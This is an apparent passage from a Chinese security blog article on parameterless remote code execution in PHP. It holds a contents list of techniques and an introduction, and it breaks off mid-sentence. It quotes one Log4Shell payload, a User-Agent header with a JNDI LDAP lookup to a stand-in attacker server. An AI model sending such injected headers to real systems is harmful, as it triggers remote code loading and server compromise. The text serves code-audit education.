【网络安全 | 代码审计】PHP无参数RCE
未经许可,不得转载。
文章目录
-
- 无参数RCE
- 代码审计
- 1、利用Session ID实现无参数RCE
- 2、利用get_defined_vars ()函数实现无参数RCE
- 3、利用getallheaders()实现无参数RCE
- 4、利用getenv()实现无参数RCE
- 5、利用scandir()实现无参数RCE
- 靶场实例
无参数RCE
一般情况下,RCE需要通过传递特定的输入(如URL参数、POST请求数据、表单数据等)来触发漏洞并执行恶意代码。而无参数RCE是一种特殊的远程代码执行漏洞,它的特点是通过调用多个函数(或利用系统中已有的代码路径)来实现远程代码执行,而无需显式的参数。
例如,log4j2
漏洞(CVE-2021-44228)就是一个经典的无参数RCE示例:
https://blog.cloudflare.com/zh-cn/inside-the-log4j2-vulnerability-cve-2021-44228/
当请求头中的 User-Agent
被修改为如下内容时:
User-Agent: ${jndi:ldap://attacker-server.com/exploit}
日志框架会自动解析该用户代理头并执行外部服务器上